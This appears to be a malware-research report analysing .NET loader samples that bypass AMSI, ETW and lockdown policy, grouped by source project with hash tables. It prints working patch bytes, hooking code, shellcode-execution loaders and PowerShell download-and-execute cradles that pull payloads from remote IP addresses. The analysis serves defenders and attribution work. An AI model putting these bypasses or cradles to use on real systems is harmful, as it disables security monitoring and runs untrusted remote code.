Analysis of .NET AMSI bypass assembly loaders
Overview
During our follow up on Phantom Taurus Assembly Executer samples, we analyzed many .NET samples that implemented some kind of AMSI bypass technique. Though we deemed them unrelated to the original Assembly Executers, they are still interesting from a what's inside a malware database standpoint. In this report we analyze the different kinds of samples.
The process of finding these samples was the following. We searched for similar samples to the two original Assembly Executer V2 samples (that implement AMSI and ETW bypass) in our Kaibou Search Services (KSS) database which at the time of writing contains 777 million malware samples. We used the TLSH similarity search functionality with a fairly high threshold of 80. A more conservative and reliable threshold of 40 didn't provide any samples besides the original ones. More details in the Phantom Taurus samples blog post.
The two Assembly Executer samples only differed in their compilation mode, one was compiled in Release mode, whereas the other was in Debug mode. They yielded 11214 and 1894 potentially similar samples. We proceeded with downloading all of them from our database and generating their decompiled source codes with ilspy. Then we searched for the case-insensitive string amsi in them, which resulted in 59 samples and the 2 original samples. We examined all of them manually and sorted them based on their similar code characteristics. In the end there were 27 different sources.
The following is a semi-structured overview of these samples.
Patches
All of these samples are some kind of loaders, so their purpose is to try to disable some detection techniques and load the next stage afterwards. First we view how samples try to evade detection by overwriting in-process functions that EDRs use to detect malicious code.
amsi.dll:AmsiScanBuffer
The most common patch target was amsi.dll:AmsiScanBuffer, 33 programs tried to patch this function. This function is used to "Scan a buffer-full of content for malware." ms docs. The usual way to achieve this was to:
LoadLibrary("amsi.dll") to memory
- use
GetProcAddress("AmsiScanBuffer") to get its address
VirtualProtect() with PAGE_EXECUTE_READWRITE constant to make a few bytes writable at this address.
- overwrite the first few instructions with something ending in
ret
- restore the previous protection on the memory region
private void BypassAmsi()
{
string procName = "AmsiScanBuffer";
IntPtr procAddress = GetProcAddress(LoadLibrary("amsi.dll"), procName);
byte[] array = new byte[6] { 184, 87, 0, 7, 128, 195 };
VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, 64u, out var lpflOldProtect);
Marshal.Copy(array, 0, procAddress, array.Length);
VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, lpflOldProtect, out var _);
}
We observed several different payloads in the samples. The shortest was to just return from the function. This may not work because eax should contain the result code of the funtion call and in this case it is not overwritten so it still holds the value set by the previous function.
C#: { 195 }
00000000 C3 ret
A one step more advanced technique was to also set eax to E_INVALIDARG. This had multiple variants. Some sample distinguished between 32 and 64 bit systems.
Arch: 64 bit
C#: { 184, 87, 0, 7, 128, 195 }
00000000 B857000780 mov eax,0x80070057
00000005 C3 ret
Arch: 32 bit
C#: { 184, 87, 0, 7, 128, 194, 24, 0 }
00000000 B857000780 mov eax,0x80070057
00000005 C21800 ret 0x18
Other samples set this value to eax by setting ax twice and shifting the content up in between. We think this was to evade the common instruction pattern above (directly setting eax).
Arch: 64 bit
C#: { 49, 192, 102, 184, 7, 128, 193, 192, 16, 102, 184, 87, 0, 195 }
00000000 31C0 xor eax,eax
00000002 66B80780 mov ax,0x8007
00000006 C1C010 rol eax,byte 0x10
00000009 66B85700 mov ax,0x57
0000000D C3 ret
Arch: 32 bit
C#: { 49, 192, 102, 184, 7, 128, 193, 192, 16, 102, 184, 87, 0, 194, 24, 0 }
00000000 31C0 xor eax,eax
00000002 66B80780 mov ax,0x8007
00000006 C1C010 rol eax,byte 0x10
00000009 66B85700 mov ax,0x57
0000000D C21800 ret 0x18
The final technique was to zero out the edi register right when it should hold the length of the input buffer. So mov edi, r8d where r8d held the buffer length and moved it to edi is overwritten by zeroing out edi with xor edi, edi instruction.
Offset: 27 bytes
C#: { 49, 255, 144 }
00000000 31FF xor edi,edi
00000002 90 nop
Two samples used the EggHunter method to find AmsiScanBuffer in memory. They search the memory from the address of DllCanUnloadNow for a specific byte pattern that marks the start of AmsiScanBuffer, then overwrite the start just like before.
public static void Patch()
{
IntPtr procAddress = GetProcAddress(LoadLibrary("amsi.dll"), "DllCanUnloadNow");
byte[] array = new byte[0];
array = ((IntPtr.Size != 8) ? new byte[10] { 139, 255, 85, 139, 236, 131, 236, 24, 83, 86 } : new byte[24]
{
76, 139, 220, 73, 137, 91, 8, 73, 137, 107,
16, 73, 137, 115, 24, 87, 65, 86, 65, 87,
72, 131, 236, 112
});
IntPtr pointer = FindAddress(procAddress, array);
pointer = IntPtr.Subtract(pointer, array.Length - 1);
uint lpflOldProtect = 0u;
VirtualProtect(pointer, (UIntPtr)5uL, 4u, out lpflOldProtect);
Marshal.Copy(new byte[6] { 184, 87, 0, 7, 128, 195 }, 0, pointer, 6);
uint lpflOldProtect2 = 0u;
VirtualProtect(pointer, (UIntPtr)5uL, lpflOldProtect, out lpflOldProtect2);
}
ntdll.dll:EtwEventWrite
Event Tracing for Windows is an efficient kernel-level tracing functionality. The .NET runtime sends it logs in json format, it’s gathering information like namespace names, class names, and method names. EDRs can monitor this for suspicious activity. Event Tracing can be bypassed in-process with a similar overwriting technique.
C#: { 195 }
00000000 C3 ret
C#: { 194, 20, 0 }
00000000 C21400 ret 0x14
Sample info
| Attribute |
Value |
| Name |
ConsoleApp2.dll |
| SHA256 |
be961ec3f53f23aae46a57b2dcaff91de0d07271802521d33a5afdad5bd569b4 |
| TLSH |
36F1F901A7E4446BFC664771FDB786101335FA919D53EF6E798A422F1C1235809A3BB2 |
| KSS upload |
2025-06-17 02:53:15 UTC |
| VT upload |
2025-06-15 12:17:27 UTC |
| Size |
7680 |
| PDB path |
C:\Users\Administrator\source\repos\ConsoleApp2\ConsoleApp2\obj\Debug\net8.0\ConsoleApp2.pdb |
| Attribute |
Value |
| Name |
Downloader.exe |
| SHA256 |
aad5599b751c7f98b3c0b721bed7cded2ace818e482166dd89f1600efbb9f074 |
| TLSH |
6DE1C702DBFC5220EDBA0B317C77434055B1FA129A27CB6D28C6221F1E237A54A63733 |
| KSS upload |
2025-03-26 11:34:42 UTC |
| VT upload |
2025-03-19 10:09:26 UTC |
| Size |
7168 |
| PDB path |
D:\RedTeamCode\Redteam_shellcode\Downloader\Downloader\obj\Release\Downloader.pdb |
| Attribute |
Value |
| Name |
vega.dll |
| SHA256 |
d9e9460320defd14a1c519b4c4d4162d6cf8f73f3bda735a7baeb9c7cf1a8898 |
| TLSH |
CBD1C515D3E84B32F8BF0731ADB2A3451AF5F950CB67EB6F4596214A5D323200973762 |
| KSS upload |
2021-10-10 15:52:46 UTC |
| VT upload |
2021-09-26 21:04:39 UTC |
| Size |
6656 |
| PDB path |
C:\Users\d3adc0de.PCOIPTEST\source\repos\vega\vega\obj\x64\Release\vega.pdb |
ntdll.dll:NtTraceEvent
NtTraceEvent is a function that is exported by ntdll.dll and communicates with the kernel. This function is not documented by Microsoft and is used by ETW to tell the kernel about an event. By making it return immediatelly with a return value of 0, the caller gets the information that the event was processed successfully.
Arch: 64 bit
C#: { 72, 51, 192, 195 }
00000000 4833C0 xor rax,rax
00000003 C3 ret
Arch: 32 bit
C#: { 51, 192, 194, 16, 0 }
00000000 33C0 xor eax,eax
00000002 C21000 ret 0x10
Sample info
| Attribute |
Value |
| Name |
Evasion.dll |
| SHA256 |
c2d07c67865bd79d5a25fd1aa2b6ee529cd4977aaa491494d53eea7f5e9bbc70 |
| TLSH |
91D1D815CBE88276ECBA5B31DDB202910572F541DC678B2F94CDD10B6D1F3689AB1731 |
| KSS upload |
2023-02-27 16:34:25 UTC |
| VT upload |
2023-02-28 01:52:13 UTC |
| Size |
6657 |
| PDB path |
|
wldp.dll:WldpQueryDynamicCodeTrust
The Windows Lockdown Policy function WldpQueryDynamicCodeTrust "Retrieves a value that determines if the specified in-memory or on-disk .NET CRL dynamic code is trusted by Device Guard policy" ms docs. The patch code we observed in one of the samples starts with a function prolog, it first saves some registers on the stack, creates a stack frame and fills 58 DWORDs with 0xcccccccc. Loads the QWORD at address 0xf742 relative to the instruction to rcx and makes a call to absolute address 0xfffffffffffff79c, then cleanes up the function.
Arch: 64 bit
C#: {
68, 137, 68, 36, 24, 72, 137, 84, 36, 16,
72, 137, 76, 36, 8, 85, 87, 72, 129, 236,
232, 0, 0, 0, 72, 141, 108, 36, 32, 72,
139, 252, 185, 58, 0, 0, 0, 184, 204, 204,
204, 204, 243, 171, 72, 139, 140, 36, 8, 1,
0, 0, 72, 141, 13, 7, 247, 0, 0, 232,
92, 247, 255, 255, 51, 192, 72, 141, 165, 200,
0, 0, 0, 95, 93, 195, 204, 204, 204, 204,
204, 204, 204, 204, 204, 204, 204, 204, 204, 204,
204, 204, 204, 204, 204, 204
}
00000000 4489442418 mov [rsp+0x18],r8d
00000005 4889542410 mov [rsp+0x10],rdx
0000000A 48894C2408 mov [rsp+0x8],rcx
0000000F 55 push rbp
00000010 57 push rdi
00000011 4881ECE8000000 sub rsp,0xe8
00000018 488D6C2420 lea rbp,[rsp+0x20]
0000001D 488BFC mov rdi,rsp
00000020 B93A000000 mov ecx,0x3a
00000025 B8CCCCCCCC mov eax,0xcccccccc
0000002A F3AB rep stosd
0000002C 488B8C2408010000 mov rcx,[rsp+0x108]
00000034 488D0D07F70000 lea rcx,[rel 0xf742]
0000003B E85CF7FFFF call 0xfffffffffffff79c
00000040 33C0 xor eax,eax
00000042 488DA5C8000000 lea rsp,[rbp+0xc8]
00000049 5F pop rdi
0000004A 5D pop rbp
0000004B C3 ret
0000004C CC int3
0000004D CC int3
0000004E CC int3
0000004F CC int3
00000050 CC int3
00000051 CC int3
00000052 CC int3
00000053 CC int3
00000054 CC int3
00000055 CC int3
00000056 CC int3
00000057 CC int3
00000058 CC int3
00000059 CC int3
0000005A CC int3
0000005B CC int3
0000005C CC int3
0000005D CC int3
0000005E CC int3
0000005F CC int3
Further examination of the sample that implemented this bypass reveals the PDB path: C:\Users\d3adc0de.PCOIPTEST\source\repos\vega\vega\obj\x64\Release\vega.pdb and the binary has the name vega.dll. It is exactly this binary from inceptor.
Sample info
| Attribute |
Value |
| Name |
vega.dll |
| SHA256 |
d9e9460320defd14a1c519b4c4d4162d6cf8f73f3bda735a7baeb9c7cf1a8898 |
| TLSH |
CBD1C515D3E84B32F8BF0731ADB2A3451AF5F950CB67EB6F4596214A5D323200973762 |
| KSS upload |
2021-10-10 15:52:46 UTC |
| VT upload |
2021-09-26 21:04:39 UTC |
| Size |
6656 |
| PDB path |
C:\Users\d3adc0de.PCOIPTEST\source\repos\vega\vega\obj\x64\Release\vega.pdb |
Unhook ntdll.dll
There is also an example of ntdll.dll unhooking. This is done by finding ntdll.dll in the memory of the current process, reading and rewriting the memory. Though this technique would work if it was rewritten with ntdll.dll from disk, the current code only rewrites it with the same data (hooks, patches included if there were any). 2035711 decimal stands for 0x1F0FFF = PROCESS_ALL_ACCESS
private static void UnhookNTDLL()
{
IntPtr hProcess = OpenProcess(2035711u, bInheritHandle: false, Process.GetCurrentProcess().Id);
IntPtr moduleHandle = GetModuleHandle("ntdll.dll");
MODULEINFO lpmodinfo = default(MODULEINFO);
GetModuleInformation(hProcess, moduleHandle, out lpmodinfo, (uint)Marshal.SizeOf(lpmodinfo));
byte[] lpBuffer = new byte[lpmodinfo.SizeOfImage];
ReadProcessMemory(hProcess, moduleHandle, lpBuffer, lpmodinfo.SizeOfImage, out var lpNumberOfBytesRead);
WriteProcessMemory(hProcess, moduleHandle, lpBuffer, lpmodinfo.SizeOfImage, out lpNumberOfBytesRead);
}
Sample info
| Attribute |
Value |
| Name |
Downloader.exe |
| SHA256 |
aad5599b751c7f98b3c0b721bed7cded2ace818e482166dd89f1600efbb9f074 |
| TLSH |
6DE1C702DBFC5220EDBA0B317C77434055B1FA129A27CB6D28C6221F1E237A54A63733 |
| KSS upload |
2025-03-26 11:34:42 UTC |
| VT upload |
2025-03-19 10:09:26 UTC |
| Size |
7168 |
| PDB path |
D:\RedTeamCode\Redteam_shellcode\Downloader\Downloader\obj\Release\Downloader.pdb |
kernelbase.dll:RegOpenKeyExW
One sample overwrites RegOpenKeyExW with a shellcode to jump to a delegate hook (marked with 0xdeadbeef).
C#: { 72, 184, 0xef, 0xbe, 0xad, 0xde, 80, 195 }
00000000 48 dec eax
00000001 B8EFBEADDE mov eax,0xdeadbeef
00000006 50 push eax
00000007 C3 ret
This sample saves the original bytes at the beginning of RegOpenKeyExW and overwrites them to jump to RegOpenKeyWDetour. This function resets the original bytes. Then checks whether the registry open request came for subkey Software\Microsoft\AMSI\Providers. This key holds a list of AMSI providers, e.g. {2781761E-28E0–4109–99FE-B9D127C57AFE} stands for Microsoft Defender. When scanning an input, AMSI processes thes registry keys to submit the input for processing to the registered providers. So in the RegOpenKeyWDetour function if the open request came for Software\Microsoft\AMSI\Providers subkey, the function tries to open Software\Microsoft\AMSI\Providers with a space at the end (that doesn't exist). An exception is generated and caught. If this was either the first or the second attempt to read this key, the hook reestablishes itself, otherwise it lets the original RegOpenKeyExW process the request. To sum it up, it blocks the first two attempts to read this registry key, so AMSI scans see 0 providers.
public static int oldProtect;
public static IntPtr targetAddr;
public static IntPtr hookAddr;
public static byte[] originalBytes = new byte[12];
public static byte[] hookBytes = new byte[12];
public static int counter = 0;
public static string thekey = "Software\\Microsoft\\AMSI\\Providers";
public static DelegateRegOpenKeyExW A;
public static void DisappearKey()
{
A = RegOpenKeyWDetour;
targetAddr = GetProcAddress(GetModuleHandle("KERNELBASE.dll"), "RegOpenKeyExW");
hookAddr = Marshal.GetFunctionPointerForDelegate(A);
Marshal.Copy(targetAddr, originalBytes, 0, 12);
hookBytes = new byte[2] { 72, 184 }.Concat(BitConverter.GetBytes((long)hookAddr)).Concat(new byte[2] { 80, 195 }).ToArray();
VirtualProtect(targetAddr, 12, 64, out oldProtect);
Marshal.Copy(hookBytes, 0, targetAddr, hookBytes.Length);
}
public static int RegOpenKeyWDetour(IntPtr hKey, string lpSubKey, uint ulOptions, int samDesired, out IntPtr phkResult)
{
try
{
Marshal.Copy(originalBytes, 0, targetAddr, hookBytes.Length);
if (lpSubKey == thekey)
{
counter++;
return RegOpenKeyExW(hKey, thekey + " ", ulOptions, samDesired, out phkResult);
}
return RegOpenKeyExW(hKey, lpSubKey, ulOptions, samDesired, out phkResult);
}
finally
{
if (counter < 3)
{
Marshal.Copy(hookBytes, 0, targetAddr, hookBytes.Length);
}
}
}
Sample info
| Attribute |
Value |
| Name |
ConsoleApp1.exe |
| SHA256 |
9683cab10316c2d33c007ff0cbf648df087998da1fcd797233812029ffb0cdd6 |
| TLSH |
EBE1E611EBD88B72EDB70F716D73138012BAF7054E4BEA1F64CD455B1E13A484AA2392 |
| KSS upload |
2025-08-10 14:29:59 UTC |
| VT upload |
2025-08-11 13:13:14 UTC |
| Size |
7168 |
| PDB path |
C:\Users\Preslav\source\repos\ConsoleApp1\ConsoleApp1\obj\x64\Release\ConsoleApp1.pdb |
GetSystemLockdownPolicy
SystemEnforcementMode can take 3 values: None, Audit, Enforce. In audit mode, PowerShell runs the untrusted scripts in ConstrainedLanguage mode but logs messages to the event log instead of throwing errors. The log messages describe what restrictions would apply if the policy were in Enforce mode. With this overwrite, GetSystemLockdownPolicy will always return None.
C#: { 72, 49, 192, 195 }
00000000 4831C0 xor rax,rax
00000003 C3 ret
Patch Obfuscation
Some sample obfuscate the patches so that static analysis tools cannot alert on popular byte sequences that could indicate AMSI bypass. Here, the sample has a hardcoded xor key chtpt and the payloads are in base64-encoded format.
private byte[] getETWPayload()
{
if (!is64Bit())
{
return MyDecode("whQA");
}
return MyDecode("ww==");
}
private byte[] getAMSIPayload()
{
if (!is64Bit())
{
return MyDecode("uFcAB4DCGAA=");
}
return MyDecode("uFcAB4DD");
}
private byte[] MyDecode(string _Input)
{
string key = "chtpt";
return XorDecode(Convert.FromBase64String(_Input), key);
}
private byte[] XorDecode(byte[] _Input, string _Key)
{
int num = 0;
int length = _Key.Length;
int i = 0;
for (int num2 = _Input.Length; i < num2; i++)
{
char c = _Key[num];
_Input[i] = Convert.ToByte(_Input[i] ^ c);
num = (num + 1) % length;
}
return _Input;
}
Sample info
| Attribute |
Value |
| Name |
PELoader_CSharp.exe |
| SHA256 |
66b968ec7cc3c62c0fbee3b7716318761dec052a90d96830e466a43b80e27bcc |
| TLSH |
52E1C600ABF88526DDAE07369AB3874053B5F3369923DB6D7C81522F6F9335459037B2 |
| KSS upload |
2021-10-22 03:56:23 UTC |
| VT upload |
2021-10-06 11:34:46 UTC |
| Size |
7168 |
| PDB path |
D:\VisualStudioProject\PELoader_CSharp\PELoader_CSharp\obj\Release\PELoader_CSharp.pdb |
Another sample has each byte value incremented by 1 in the patch payload:
IntPtr procAddress = GetProcAddress(LoadLibrary("amsi.dll"), "AmsiScanBuffer");
byte[] array = new byte[6] { 185, 88, 1, 8, 129, 196 };
VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, 64u, out var _);
for (int i = 0; i < array.Length; i++)
{
Marshal.Copy(new byte[1] { (byte)(array[i] - 1) }, 0, procAddress + i, 1);
}
Sample info
| Attribute |
Value |
| Name |
loader.dll |
| SHA256 |
584a5e3b628d23bc26451bd9ce136ad74c09a25f0c217faa86ebb68650465a97 |
| TLSH |
F6C1D521E7E45632EDAF4B36BEE363421370F9518C67CF5F88C9410B5C362548A63B66 |
| KSS upload |
2024-08-11 03:15:09 UTC |
| VT upload |
2024-08-07 12:43:39 UTC |
| Size |
6144 |
| PDB path |
|
Another just xored the bytes with 0xdeadbeefcafebabe.
private static byte[] GetPatch
{
get
{
byte[] s = new byte[6] { 102, 250, 190, 232, 74, 61 };
byte[] s2 = new byte[8] { 102, 250, 190, 232, 74, 60, 162, 190 };
if (Is64Bit)
{
return handle(s, 6);
}
return handle(s2, 8);
}
}
public static byte[] handle(byte[] s, int l)
{
byte[] array = new byte[8] { 222, 173, 190, 239, 202, 254, 186, 190 };
byte[] array2 = new byte[l];
for (int i = 0; i < l; i++)
{
array2[i] = Convert.ToByte(s[i] ^ array[i % 8]);
}
return array2;
}
Sample info
| Attribute |
Value |
| Name |
AmsiPatch.dll |
| SHA256 |
d1932710cf544c1ebe4e753f5a0867d6cf345b65f0f8bae4b87f5d9626ca8a3f |
| TLSH |
D1C1D621A7E80776ECBB0B32EDB3A7020375EA004E63DB6F54C85106AD12694A533BD5 |
| KSS upload |
2022-06-06 04:24:46 UTC |
| VT upload |
2022-05-31 12:59:00 UTC |
| Size |
5632 |
| PDB path |
C:\dev\dnBypass\AmsiPatch\obj\Release\AmsiPatch.pdb |
Loaded code
After disabling some detection techniques, it's time to load the payload for the next stage. This is most of the time x86 binary code bytes.
In this section we describe the methods, the various samples use to load assemblies.
The most common technique it to use Assembly.Load() on an array of bytes and then Invoke() its EntryPoint.
Assembly assembly = Assembly.Load(assemblyData);
MethodInfo entryPoint = assembly.EntryPoint;
entryPoint.Invoke(null, parameters);
A similar one was to instantiate a type from the assembly and invoke a member function.
Assembly assembly = Assembly.Load(rawAssembly);
Type type = assembly.GetType("OttoStager.OttoStager");
object target = Activator.CreateInstance(type);
type.InvokeMember("OttoStager", BindingFlags.Static | BindingFlags.Public | BindingFlags.InvokeMethod, null, target, null);
object obj = Assembly.Load(memoryStream.ToArray()).CreateInstance("stagetwo.Yeet");
obj.GetType().GetMethod("main").Invoke(obj, new object[2]
{
((object)this).GetType().Assembly.Location,
streamReader
});
Another method was to create a thread with intPtr as startaddress, pointing to a shellcode.
hThread = CreateThread(IntPtr.Zero, 0u, intPtr, IntPtr.Zero, 0u, ref lpThreadId);
if (!(IntPtr.Zero == hThread))
{
WaitForSingleObject(hThread, uint.MaxValue);
}
Others created PowerShell runspaces after bypassing AMSI. In the started runspace, AMSI is disabled so the executed PowerShell code won't trigger detection this way.
ConsoleShell.Start(RunspaceConfiguration.Create(), "Banner", "Help", new string[3] { "-exec", "bypass", "-nop" });
private static string RunScript(string script)
{
Runspace val = RunspaceFactory.CreateRunspace();
val.Open();
Pipeline obj = val.CreatePipeline();
obj.Commands.AddScript(script);
obj.Commands.Add("Out-String");
Collection<PSObject> collection = obj.Invoke();
val.Close();
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject item in collection)
{
stringBuilder.AppendLine(((object)item).ToString());
}
return stringBuilder.ToString();
}
Assembly sources
The executed assembly code comes from different sources. Some just read it encoded from standard input.
streamReader = new StreamReader(Console.OpenStandardInput());
text = streamReader.ReadLine();
GZipStream gZipStream = new GZipStream(new MemoryStream(Convert.FromBase64String(text)), CompressionMode.Decompress);
MemoryStream memoryStream = new MemoryStream();
gZipStream.CopyTo(memoryStream);
Some download a binary or powershell script after bypassing AMSI.
RunScript(Base64Decode("SUVYICgobmV3LW9iamVjdCBuZXQud2ViY2xpZW50KS5kb3dubG9hZHN0cmluZygnaHR0cDovLzEwNi41Mi4yMTkuMTM1OjgxL2EnKSk="))
iex(new-object net.webclient).downloadstring('http://10.10.15.74/amsi.ps1')
iex(new-object net.webclient).downloadstring('http://192.168.0.103/payload')
byte[] rawAssembly = webClient.DownloadData("http://10.10.120.20:81/customgrunt.exe");
byte[] rawAssembly = webClient.DownloadData("http://192.168.0.18:8181/httpgrunt.exe");
byte[] array = DownloadBeacon("https://your-server.com/sliver_beacon.bin");
ExecuteReflectiveAssembly(XorDecrypt(array, "NHANTIEU"));
byte[] rawAssembly = webClient.DownloadData("http://dead1.net/deadTry.exe");
Some just read it from a file.
string path = "2.txt";
string input = File.ReadAllText(path);
string s = ReverseObfuscateString(input);
byte[] compressedData = Convert.FromBase64String(s);
Assembly asm = DecompressAssembly(compressedData);
CreateAndInvokeMethod(asm, "GodPotato.Program", "Main", args);
public static string AssemblyDirectory => Path.GetDirectoryName(Uri.UnescapeDataString(new UriBuilder(Assembly.GetExecutingAssembly().CodeBase).Path));
Assembly.LoadFrom(Path.Combine(AssemblyDirectory, "..", "PowerShellProtect.dll"));
Groups and purposes
As you can see many samples load code from private IP addresses, have templated text in them. These are most likely not associated with malicious actors, some of them are test programs compiled from a PoC project on GitHub. Some are just learning artifacts, some are for red teaming. Some of the samples are obviously coming from the same source, some even show signs of incremental development.
GitHub projects
This first group consists of samples that can be matched to GitHub projects based on their PDBs, decompiled source code structure. These could be compiled by anyone on their machines and they somehow made it to VirusTotal and our database.
Crybat
12 samples are different development versions or copies of Crybat, formerly Jlaive. The original repository has beed deleted but there are forks where we can still view the original source code.
Sample info
| Attribute |
Value |
| Name |
ConsoleApp10.exe |
| SHA256 |
0bbfbf72bbcb7a92d5bd79705657dcb5038e686dcb1adebd1fc88fccbb645115 |
| TLSH |
29D1C604DBD447B3E9B20B71A9B3238416B8FB208D57EB5F25CD860B2E2735405A2371 |
| KSS upload |
2024-05-04 20:48:36 UTC |
| VT upload |
2024-05-04 13:37:19 UTC |
| Size |
6656 |
| PDB path |
C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb |
| Attribute |
Value |
| Name |
ConsoleApp10.exe |
| SHA256 |
1970460d7cecd03420e7778b4bc9cd7b5196ff2ad6e1a4d7bfd2f8ec110b5d9c |
| TLSH |
1EC1E541DBD84672E8B20B71ADB717000338FA244D67AB5E64CCD21B7E2334489223BA |
| KSS upload |
2024-05-06 01:22:09 UTC |
| VT upload |
2024-05-04 13:32:23 UTC |
| Size |
6144 |
| PDB path |
C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb |
| Attribute |
Value |
| Name |
ConsoleApp10.exe |
| SHA256 |
1de31c17d2148152908e9ac02b47fba709726c01534dbb7f7459c4e1d5d24ac0 |
| TLSH |
DED1C410DBE88732E8B61B71A9B3134507B4FB508967EB2F25CDD60B6E2235409A3771 |
| KSS upload |
2024-05-04 20:48:36 UTC |
| VT upload |
2024-05-04 13:26:03 UTC |
| Size |
6656 |
| PDB path |
C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb |
| Attribute |
Value |
| Name |
ConsoleApp10.exe |
| SHA256 |
297cb38fec01cb263a5c075f2016ffa9b62733531df3fb57dd3d54bf08c1e10b |
| TLSH |
44D1C614DBD88773E8774B71ADB3624402B8EB14892BEB6F29CDC50B6E6374409A2371 |
| KSS upload |
2024-05-04 20:48:36 UTC |
| VT upload |
2024-05-04 13:25:07 UTC |
| Size |
6656 |
| PDB path |
C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb |
| Attribute |
Value |
| Name |
ConsoleApp10.exe |
| SHA256 |
314ad5ad49e9a3473768a6fe66e9e2fc48d69452b4ee2156d6441b6fe363c3e0 |
| TLSH |
38D1D714DBD84777E8770B31ADF3534402B8EB148A17EB6F28CDC50B6F6235405A23A1 |
| KSS upload |
2024-05-04 20:48:36 UTC |
| VT upload |
2024-05-04 13:42:48 UTC |
| Size |
6656 |
| PDB path |
C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb |
| Attribute |
Value |
| Name |
ConsoleApp10.exe |
| SHA256 |
505bc2b49771cc9e469851f62862ccb876d51bc667ccc06b8d9c61bf4f4cf4ee |
| TLSH |
33D1E741CBD49672E8B60B35ADF393410238FB108D27EB6F24CD960B6E5235849B37B5 |
| KSS upload |
2024-05-04 20:48:36 UTC |
| VT upload |
2024-05-04 13:41:22 UTC |
| Size |
6656 |
| PDB path |
C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb |
| Attribute |
Value |
| Name |
ConsoleApp10.exe |
| SHA256 |
50af10ec8a29b6934c8f477732c8114b599edff1069d0eb40c63c2a2f45d135e |
| TLSH |
2AE1C600DBD85772E47A5B31ECB2630506B9EA144A27EB6F25CEC50F7E2634409A3BF1 |
| KSS upload |
2024-05-04 20:18:17 UTC |
| VT upload |
2024-05-04 13:21:05 UTC |
| Size |
7168 |
| PDB path |
C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb |
| Attribute |
Value |
| Name |
ConsoleApp10.exe |
| SHA256 |
7746095f1afb34a353312a6a30748288b3c968a78be463544bb792d1dc70b306 |
| TLSH |
0CD1C514DBE84773E8760B71ADB3624407B8EB148A1BEB6F25CDC60B6E6235409A3375 |
| KSS upload |
2024-05-04 20:48:36 UTC |
| VT upload |
2024-05-04 13:25:37 UTC |
| Size |
6656 |
| PDB path |
C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb |
| Attribute |
Value |
| Name |
ConsoleApp10.exe |
| SHA256 |
842b37c5afe92ad1e3d3695c0b0baf8a1b929e1567de6a318fe5134c5d4e1ae6 |
| TLSH |
C1D1C410DBE84773E8760B31ACB353480AB4FA008957EB6F19CDD20B6F2235405A2775 |
| KSS upload |
2024-05-04 20:48:36 UTC |
| VT upload |
2024-05-04 13:29:18 UTC |
| Size |
6656 |
| PDB path |
C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb |
| Attribute |
Value |
| Name |
ConsoleApp10.exe |
| SHA256 |
91136d7afe5ce130e00cd8d520f4e1c506a748434cee6ed2bac54ffafba92bcc |
| TLSH |
72E1D714DBD88673E8764B71ADF3630506B4EA544D1BEB2F25CDC60F6E2234405A37B1 |
| KSS upload |
2024-05-04 20:18:17 UTC |
| VT upload |
2024-05-04 13:24:11 UTC |
| Size |
7168 |
| PDB path |
C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb |
| Attribute |
Value |
| Name |
ConsoleApp10.exe |
| SHA256 |
91f29e39217245e92633a5a26f3db321f59912207560dbe61cea5223b069f9fd |
| TLSH |
A4D1D640DBD48672E8B21B71ADF363424238FB508C57EB5F25CDD20B6E2234889B27B5 |
| KSS upload |
2024-05-04 20:48:36 UTC |
| VT upload |
2024-05-04 13:40:09 UTC |
| Size |
6656 |
| PDB path |
C:\Users\NapoleonRecode\source\repos\ConsoleApp10\ConsoleApp10\obj\Debug\ConsoleApp10.pdb |
| Attribute |
Value |
| Name |
ConsoleApp9.exe |
| SHA256 |
9464cf63840b9557544fdd118719bfb3253459858b006e8797f3ebdbd2a6a8e0 |
| TLSH |
C8E1C704EBD45A72E4BA1B31ECB3A30507B5E6744E67DB1F19CD810F3D1635485A2BA1 |
| KSS upload |
2024-05-04 20:48:36 UTC |
| VT upload |
2024-05-04 13:20:14 UTC |
| Size |
7168 |
| PDB path |
C:\Users\NapoleonRecode\source\repos\ConsoleApp9\ConsoleApp9\obj\Debug\ConsoleApp9.pdb |
bypass-clm
6 samples are develpment versions of bypass-clm, a PowerShell Constrained Language Mode Bypass program from different user machines (based on .pdb)
Sample info
| Attribute |
Value |
| Name |
bypass-clm.exe |
| SHA256 |
00f1dab8457a6064c45bbcb2e6dbf64261b512eae850602fecc92331082836c5 |
| TLSH |
0CD1C712F7DC1335EDFA4B76ACA3931107B4F6818C968F9E28E9520B9E172444A63771 |
| KSS upload |
2023-10-02 00:27:40 UTC |
| VT upload |
2023-09-30 18:57:33 UTC |
| Size |
6656 |
| PDB path |
C:\osep\soft\bypass-clm-master\bypass-clm\obj\Release\bypass-clm.pdb |
| Attribute |
Value |
| Name |
bypass-clm.exe |
| SHA256 |
3ab5983c824a64b7256ce6d7149e88109527b87ab82dc12609bd0751655b4f18 |
| TLSH |
B3E1D712EBD9473BF8BB8B316CB393110BB0FA408D579B6D25DD670B9C1B6440A63362 |
| KSS upload |
2022-02-25 00:35:51 UTC |
| VT upload |
2022-01-16 19:09:18 UTC |
| Size |
7168 |
| PDB path |
C:\Users\ary\Desktop\OSEP-main\CLM&AppLoacker\bypass-clm-master\bypass-clm\obj\Debug\bypass-clm.pdb |
| Attribute |
Value |
| Name |
bypass-clm.exe |
| SHA256 |
5eab3bc4f726deae98260abedfe4e588a9962896d8c58bce540a5b068e5c2104 |
| TLSH |
